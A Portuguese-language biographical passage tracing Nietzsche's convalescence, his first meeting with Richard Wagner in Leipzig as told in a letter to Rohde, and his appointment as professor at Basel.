Nietzsche descobre depressa que um artilheiro a cavalo é um infelicíssimo
animal quando tem gostos literários e reflete, na barraca, sobre problemas da
democracia.

 

Deplora sua escravização. Num momento
de azar, cai do cavalo e quebra uma costela. Sofre, mas estuda e medita durante
a folga: é essa a boa parte de sua vida. No entanto, quando chegam os
deliciosos dias de maio, e ele se encontra na cama ainda, depois de um mês,
impacienta-se e tem saudades das horas de exercício. "Eu, que montava os
animais mais rebeldes!" — escreve a Gersdorff. Começa, para se distrair,
um pequeno estudo sobre um poema de Simonide, "La Plainte de Danae". Corrige as palavras duvidosas do texto, e anuncia a Ritschl um novo
trabalho: "Desde meus tempos de escola, este belo canto de Danae está na
minha memória como uma inolvidável melodia. Que pode a gente fazer de melhor
nestes belos dias de maio, do que se entregar ao lirismo? Espero que desta vez,
pelo menos, não encontre no meu trabalho, uma conjectura demasiado
‘lírica’."

 

Danae preocupa-o, e as queixas da
deusa, abandonada com seu filho aos caprichos das ondas malévolas, misturam-se
em suas cartas com suas próprias queixas. Porque ele sofre. Seu ferimento
continua aberto, e uma lasca de osso aparece, um dia, com o pus. "Assaltou-me
uma impressão bizarra quando vi isso — escreve ele — e pouco a pouco fui
percebendo que meus planos de exame, de viagem a Paris, podiam muito bem vir a
ser contrariados. A caducidade do ser não aparece jamais tão nitidamente, ad
oculos
, senão no momento em que a gente chega a ver um pedacinho do seu
próprio esqueleto."

 

Esta viagem a Paris a que Nietzsche se
referiu numa palavra, era o último e o mais caro dos seus sonhos. Acariciava
essa idéia, e, não podendo nunca guardar uma alegria para si mesmo, escreveu a
Rohde, depois a Gersdorff e a dois outros amigos, Kleinpaul e Romundt:
"Após o nosso último ano de estudo, vamos juntos passar um inverno em Paris. Esqueçamos nosso saber, ‘Despedantizemo-nos’; conheçamos o divino ‘cancan’, o absinto
verde que havemos de beber. Vamos a Paris, viver como amigos e representemos
lá, flanando pelos ‘boulevards’, o germanismo e Schopenhauer; não seremos, em
verdade, vagabundos: de vez em quando mandaremos aos jornais alguma colaboração
para lançar através do mundo anedotas parisienses. Depois de um ano e meio,
dois anos (ele nunca termina de alongar esse tempo imaginário) voltaremos para
fazer nossos exames e retomaremos nossas tarefas profissionais."

 

Tendo Rohde prometido acompanhá-lo,
Nietzsche teve maior dificuldade em suportar a convalescença que se prolongou
até o verão.

 

***

 

Levantou-se, enfim. Nos primeiros dias
de outubro, sentindo um vivo desejo de prazeres que Naumburg não podia oferecer
— música, sociedade, palestras, teatro — volta à instalar-se em Leipzig, onde professores
e colegas lhe fazem uma calorosa acolhida. Foi um regresso feliz. Fizera apenas
vinte e três anos, e uma auréola gloriosa já o precedia. Pedem-lhe, para
importante revista de Berlim, trabalhos históricos, que ele entrega. Mesmo em
Leipzig lhe propõe a redação de uma crítica musical, que ele recusa apesar das
insistências. "Nege ac pernego" escreve ele a Rohde, que residia,
então, noutra cidade universitária.

Interessa-se por tudo, menos pela
política. O ruído desordenado e confuso que fazem os homens nos comícios,
era-Ihe insuportável. “Decididamente, diz ele, não sou, absolutamente, um Zoon
politicon
.” E a seu amigo Gersdorff, que lhe conta as intrigas
parlamentares de Berlim, ele escreve:

 

Esses acontecimentos me espantam,
mas não consigo compreendê-los bem, nem fazê-los entrar no meu espírito, como
se tirasse da multidão um determinado homem e o considerasse à parte. Bismarck
dá-me imensa satisfação. Leio seus discursos como se bebesse um vinho forte.
Leio-o devagar, para poder apreciá-lo e para que a alegria dure mais. Concebo
sem esforço as maquinações dos seus adversários, tais como você as contou, e
acho que é inevitável que tudo aquilo que é pequeno, estreito, sectário,
fracassado, esbarre contra tais naturezas e lhes façam uma guerra eterna.

 

A todas as satisfações que ele encontra
ou reencontra, junta-se a maior das felicidades: descobre um novo gênio —
Richard Wagner. Toda a Alemanha fazia, ao mesmo tempo, igual descoberta. Ela já
conhecia e amava esse homem tumultuoso, poeta, compositor, publicista e
filósofo. Revolucionário em Dresde, autor pateado em Paris, favorito da corte em Munich. A Alemanha discutira suas obras e rira de suas dívidas e de suas roupagens vermelhas.
Era muito difícil fazer-se um julgamento claro sobre esta existência em que se
misturam a fé e a insinceridade, a mesquinharia e a grandeza, e sobre esse
pensamento, às vezes tão forte e às vezes tão loquaz. Que tipo de homem era
esse Richard Wagner? Um inquieto, ou um gênio? Ninguém o sabia bem, e Nietzsche
durante muito tempo ficou indeciso. Tristão e Isolda comove-o
infinitamente e outras obras desconcertam-no.

"Acabo de ler a Walkyria
escreveu a Gersdorff em outubro de 1866 — e me acho impressionado de um modo
tão confuso que não consigo chegar a julgamento algum. As grandes belezas e as
grandes virtudes são compensadas por feiúras e defeitos igualmente grandes; a
(—a) dá, feitas as contas, O Wagner é um problema insolúvel", diz em outra
ocasião. E o músico que ele preferia então era Schumann. Wagner soube impor sua
glória. Em julho de 1868 fez representar, em Dresde, Mestres Cantores,
nobre e familiar poema no qual o povo alemão, herói da ação, ocupa a cena com
suas disputas, seus divertimentos, seus trabalhos e seus amores, glorificando
ele próprio sua arte: a música. A Alemanha experimentou, então, um orgulhoso
desejo de grandeza. Possuía a confiança e o impulso necessários para ousar
reconhecer o gênio de um artista. Wagner foi aclamado. Durante os últimos meses
de 1868 ele transpôs esse invisível ponto que transfigura um homem e o eleva
acima da própria glória, numa auréola de imortalidade.

Frederico Nietzsche ouviu Mestres
Cantores
e sentiu essa beleza maravilhosa. Suas veleidades críticas
desapareceram. "Para ser justo com um tal homem — escreveu ele a Rohde — é
preciso um pouco de entusiasmo… Procuro, em vão, ouvir sua música numa
disposição fria e reservada: cada nervo vibra dentro de mim."

 

Essa arte prestigiosa tomou conta dele
e fê-lo desejar que seus amigos partilhassem a nova paixão. Confiou-lhes suas
impressões wagnerianas: "Ontem à tarde, durante o concerto — escreveu — a ouverture de Mestres Cantores causou-me um sobressalto prolongado, tal como jamais
experimentei…"

A irmã de Wagner, madame Brockhaus,
mora em Leipzig. É uma mulher superior e seus amigos afirmam que nela se
reconhece um pouco do gênio de seu irmão. Nietzsche quis conhecê-la e seu
modesto desejo foi em breve satisfeito.

 

Um dia destes — escreveu ele a Rohde
— ao entrar em casa encontrei um bilhete que me era dirigido; um curto bilhete:
"Se quer conhecer Richard Wagner venha ao Café do Teatro, às quatro menos
quinze. Windisch." Isto me transtornou, desculpe-me! E eis-me como
transportado por um turbilhão. Naturalmente, fui procurar esse excelente
Windisch, que me deu mais algumas informações. Disse-me que Wagner estava em
Leipzig, na casa de sua irmã, observando rigoroso incógnito. A imprensa de nada
suspeitava, e os criadas da família Brockhaus são mudos como "coveiros de
libré". Madame Brockhaus, a irmã de Wagner, apresentara-lhe uma única
pessoa, madame Ritschl, essa mulher tão perspicaz e judiciosa, oferecendo-se,
assim, a alegria de se mostrar orgulhosa de sua amiga diante de seu irmão, e
deste diante dela. Feliz criatura! Wagner, na presença de madame Ritschl
executou o "lied", dos Mestres Cantores, que você bem conhece. A
excelente senhora diz-lhe que esse "lied" lhe é familiar, “mea opera”.
Alegria e surpresa de Wagner. Ele demonstra um vivo desejo de me conhecer,
incógnito. Decidem convidar-me para sexta-feira à noite. Windisch disse-lhes
que eu seria impedido de
comparecer
por causa de minhas funções, meus trabalhos e minhas promessas. Propuseram,
então, domingo após o meio-dia. Lá fomos, Windish e eu; encontramos a família
do professor, mas Richard não estava. Saíra com o seu grande crânio coberto por
uma prodigiosa cabeleira. Travei conhecimento com essa distinta família, e fui
amavelmente convidado ara voltar domingo à tarde, o que aceitei.

Asseguro-lhe que durante os dias
seguintes andei de um humor romântico. Concordemos: esse início, essa
apresentação, esse herói do qual ninguém se aproxima — havia aí qualquer coisa
que se assemelhava a uma lenda.

Prevendo uma noitada importante,
resolvi vestir traje de cerimônia. Justamente meu alfaiate me prometera para
esse domingo um traje preto. Ia tudo bem.

Domingo. Era um dia aflitivo, de
neve e chuva. A gente estremecia só à idéia de sair. Não fiquei, assim,
aborrecido ao receber, pela tarde, a visita de R…… que tagarelou sobre os
Eleitos e a natureza de Deus em sua filosofia — pois que ele devia tratar, como
candidandus, o tema dado por
Ahrens: "Desenvolvimento da idéia de Deus até Aristóteles", ao passo
que Romundi tem a pretensão de resolver o problema "Da Vontade", o
que lhe valeria o Prêmio da Universidade. O dia findava, o alfaiate não chegou
e Romundt partiu. Acompanhei-o e fui até o meu alfaiate, onde encontrei os
escravos ocupadíssimos com a minha roupa. Prometeram-me que dentro de três
horas estaria em minha casa. Fui, mais satisfeito com o rumo que as coisas
tomavam. Em caminho cruzei com Kintschy, li o "Kladderadatsch" e vi,
contente, que a imprensa noticiava achar-se Wagner na Suíça, e que se estava
construindo em Munich uma bela casa para ele. Eu bem sabia que iria vê-lo
dentro de poucas horas, e que ontem havia chegado uma carta para ele, do
pequeno rei, com este endereço: "Ao grande compositor alemão Richard
Wagner". Entrei em casa. Nada de roupa. Li, muito confortavelmente, uma
dissertação sobre a "Eudocia", sendo distraído, de tempos em tempos,
por um ruído aborrecido, mas longínquo. Afinal, ouvi que batiam à velha grade
de ferro que estava fechada…

          

Era o alfaiate. Frederico Nietzsche faz
a prova do terno, que lhe vai bem. Agradece ao alfaiate, que, no entanto, não
se retira, porque deseja ser pago. Nietzsche, que está com pouco dinheiro, é de
outra opinião. O alfaiate insiste em receber, e Nietzsche reitera sua recusa. O
alfaiate não quer ceder e sai, levando de novo a roupa. Nietzsche, só e
envergonhado em seu quarto, considera desgostosamente uma sobrecasaca negra, em
grande dúvida sobre se "aquilo estaria à altura de Richard". Afinal,
vestiu-a.

 

Lá fora a chuva caia
torrencialmente. Oito horas e um quarto. Às oito e meia, Windisch estará à
minha espera no Café do Teatro. Precipitei-me pela noite chuvosa, obscura, eu um
pobre homem de negro, sem fraque, mas de humor romântico. A sorte me era
favorável. O aspecto nervoso das ruas tem qualquer coisa de misterioso e de
inusitado. Entramos no confortável salão dos Brockhaus; só havia pessoas da
família, e nós dois. Apresentaram-me a Richard, a quem exprimi, em algumas
palavras, a veneração que sentia. Perguntou-me minuciosamente como viera a ser
um admirador de sua música e derramou invectivas sobre todas as interpretações
de suas obras, exceto as de Munich, que foram admiráveis. Depois, zombou dos
regentes, que, paternalmente, aconselhavam: "Agora, por favor, um pouco de
paixão, senhores, ainda um pouco de paixão, meus amigos!" Wagner imita
muito bem o acento de Leipzig.

Eu gostaria, agora, de lhe dar uma
idéia dos prazeres dessa noite, de nossa alegria, que foi tão viva e particular
que até hoje não consegui recobrar meu velho equilíbrio, e nada posso fazer de
melhor do que contar-lhe, conversando, "um conto maravilhoso". Antes
do jantar, Wagner executou as principais passagens dos Mestres Cantores. Ele
mesmo imitava todas as vozes. Você pensará que era muito insuficiente. Wagner é
um homem fabulosamente vivo e petulante, que fala depressa, com espírito, e que
conseguiu fazer perfeitamente alegre aquela reunião íntima como era a nossa.
Entrementes, conversei longamente com ele sobre Schopenhauer. Ah! Você bem
compreende que alegria foi a minha quando o ouvi falar com indescritível calor,
e dizer tudo o que devia a Schopenhauer e explicar que, único entre os
filósofos, o nosso conheceu a essência da música. Depois, ele quis saber qual
era a atitude atual dos filósofos diante de Schopenhauer; riu muito do
congresso dos filósofos em Praga e aludiu à "domesticidade
filosófica". Depois, leu um trecho de suas "Memórias", que está
escrevendo. Tratava-se de uma cena de sua vida de estudante em Leipzig,
extraordinariamente engraçada e na qual nem mesmo agora eu posso pensar sem
rir. Ele é, aliás, extremamente ágil e espirituoso.

Quando nos despedimos, eu e
Windisch, ele deu-me um vigoroso aperto de mão, convidando-me, amigavelmente, a
visitá-lo para conversar sobre música e filosofia. Confiou-me, também, a missão
de fazer conhecida sua música a sua irmã e demais parentes, com o que concordei
entusiasmado. Você saberá tudo melhor quando esta noite se me representar um
pouco de mais longe e objetivamente. Agora, um cordial bom dia e os meus
melhores votos pela sua saúde.

 

O dia da apreciação calma que Nietzsche
esperava nunca chegou. Ele se aprpximara de um homem divino. Sentira a força de
um gênio e sua alma ficara excitada. Estudou os trabalhos teóricos que Wagner
escrevera e que até então negligenciara, e considerou seriamente a idéia da
obra de arte única, que reunisse as belezas esparsas da poesia, da plástica e
da harmonia. Entreviu uma renovação do espírito alemão pelo ideal wagneriano, e
seu espírito depressa voou para esse lado.

 

***

 

Ritschl disse-lhe um dia: “Vou
fazer-lhe uma surpresa. Quer ser nomeado professor da Basiléia?” A surpresa de
Nietzsche foi realmente extrema. Estava com vinte e quatro anos e não
conseguira ainda suas últimas graduações. Pediu que lhe repetissem a espantosa
proposta. Ritschl explicou que recebera uma carta de Basiléia onde lhe
perguntavam que homem era Frederico Nietzsche, autor das belas memórias publicadas
pelo “Rheinisches Museaum” e se era possível confiar-lhe uma cadeira de
filologia. Ritschl respondeu que o sr. Frederico Nietzsche era um jovem capaz
de fazer tudo quanto quisesse. Ousara, mesmo, escrever: o sr. Frederico
Nietzsche tem gênio. A coisa estava assim, em suspenso, mas bem encaminhada.

Nietzsche escutou tudo isso
profundamente perturbado. Sentia-se orgulhoso, e, no entanto, desolado. O ano
de liberdade que ele pensara poder gozar esfumava-se rapidamente. Projetos de
estudos, de vastas leituras, de viagens! Perdia uma vida feliz, cheia de
sonhos. Poderia, acaso, recusar tão bela proposta? Ele pensava ter, contra toda
razão, alguma veleidade em fazê-lo. Ritschl combateu essa hesitação. O velho sábio sentia por esse singular aluno verdadeira ternura: era um filósofo sagaz, um
metafísico, um poeta. Admirava-o e acreditava nele. Mas tinha um inquietação:
receava que Nietzsche, constantemente solicitado por inclinações numerosas e
lindas, acabasse dispersando entre demasiados assuntos sua energia, extraviando
seus dons. Havia quatro anos que lhe dava o mesmo conselho: “Seja limitado,
para ser forte”; conselho que ele repetia com insistência. Nietzsche
compreendeu e curvou-se. Escrevia sempre a Erwin Rohde:

 

Não pense mais na nossa viagem a
Paris, vou, sem dúvida, ser nomeado professor em Basiléia, eu, que desejava
estudar química! É preciso que aprenda a renunciar desde já. Como me sentirei
sozinho, lá! Nada de amigos cujo pensamento soe em uníssono com o meu, como
belas tércias, inferiores ou superiores!

 

Obteve o seu último diploma sem ser
examinado, em consideração aos seus trabalhos anteriores e à circunstância
única: os professores de Leipzig não julgaram conveniente interrogar o seu
colega de Basiléia.

 

Frederico Nietzsche permaneceu algumas
semanas em Naumburg, junto aos seus. Toda a família estava satisfeita e
gloriosa: tão jovem, e professor de Universidade! "E que importância tem
isso? — perguntava Nietzsche impaciente. Mais um pobre diabo no mundo — eis
tudo!" No dia 13 de abril, à noite, escreveu a seu amigo Gersdorff:

 

Chegou o último momento, a última
noite que passo no meu lar. Amanhã cedo partirei pelo vasto mundo; começarei
uma ocupação nova para mim, numa estranha e pesada atmosfera de obrigações e
deveres. Ainda uma vez, é preciso dizer adeus: o tempo dourado, quando a
atividade é livre, ilimitada; onde cada minuto é soberano; onde a arte e o
universo se oferecem ao nosso olhar como um puro espetáculo ao qual nós apenas
nos misturamos — esse tempo está irrevogavelmente passado. Agora, reina a dura
deusa: a obrigação cotidiana, "Bemooster Bursche zieh ich aus…"
você conhece esta comovente canção de estudantes. Sim, sim! Chegou agora a
minha vez de ser um filisteu! Um dia ou outro, aqui ou lá — o ditado se realiza
sempre. As funções e as dignidades são coisas que jamais se podem aceitar
impunemente. Toda a questão é saber se as cadeias que nos atam são de ferro ou
de barbante. Tenho ainda bastante valor para romper, no momento oportuno,
qualquer espécie de cadeia, e tentar, de outra maneira, ou em outro lugar,
qualquer ensaio de vida perigosa. Não reconheço ainda em mim nenhum traço da
gibosidade obrigatória do professor. Tornar-se filisteu, anthropos amusos homem
gregário… — Zeus e as Musas me livrem disso! Ademais, não percebo como é que
poderei vir a ser o que não sou. Sinto-me mais ameaçado por uma outra espécie
de perigo: a "species" profissional. Não deixa de ser natural que uma
ocupação diária, uma concentração incessante do pensamento sobre certos
conhecimentos e certos problemas, embotem um pouco a livre sensibilidade do
espírito e ataquem pela raiz o senso filosófico. Imagino, porém, que posso
correr este perigo de maneira mais tranqüila que a maior parte dos filósofos; a
gravidade filosófica já se enraizou muito profundamente em mim; os verdadeiros
e essenciais problemas da vida e do pensamento, já me foram demonstrados bem
claramente, pelo grande mistagogo Schopenhauer, para que eu possa jamais temer
uma defecção vergonhosa diante da "idéia". Penetrar minha ciência
deste sangue novo: comunicar aos que me ouvem a gravidade schopenhaueriana que
brilha sobre a fronte do homem sublime — tal é meu dever, minha audaciosa
esperança. Quero ser mais que um pedagogo de honestos sábios. Penso nos deveres
dos professores de hoje; tenho inquietação pela geração que vem atrás de nós —
tudo isto preocupa meu espírito. Já que temos que aturar a vida, tratemos, ao
menos, de fazer dela um tal emprego que possamos ser estimados pelos outros, o
que nos permitirá, felizmente, ser salvos.

 

As inquietações de Frederico Nietzsche
são vãs. Se ele pudesse adivinhar seu próximo futuro, sentiria grande alegria.
Richard Wagner mora perto de Basiléia, e vai se tornar seu amigo.

 

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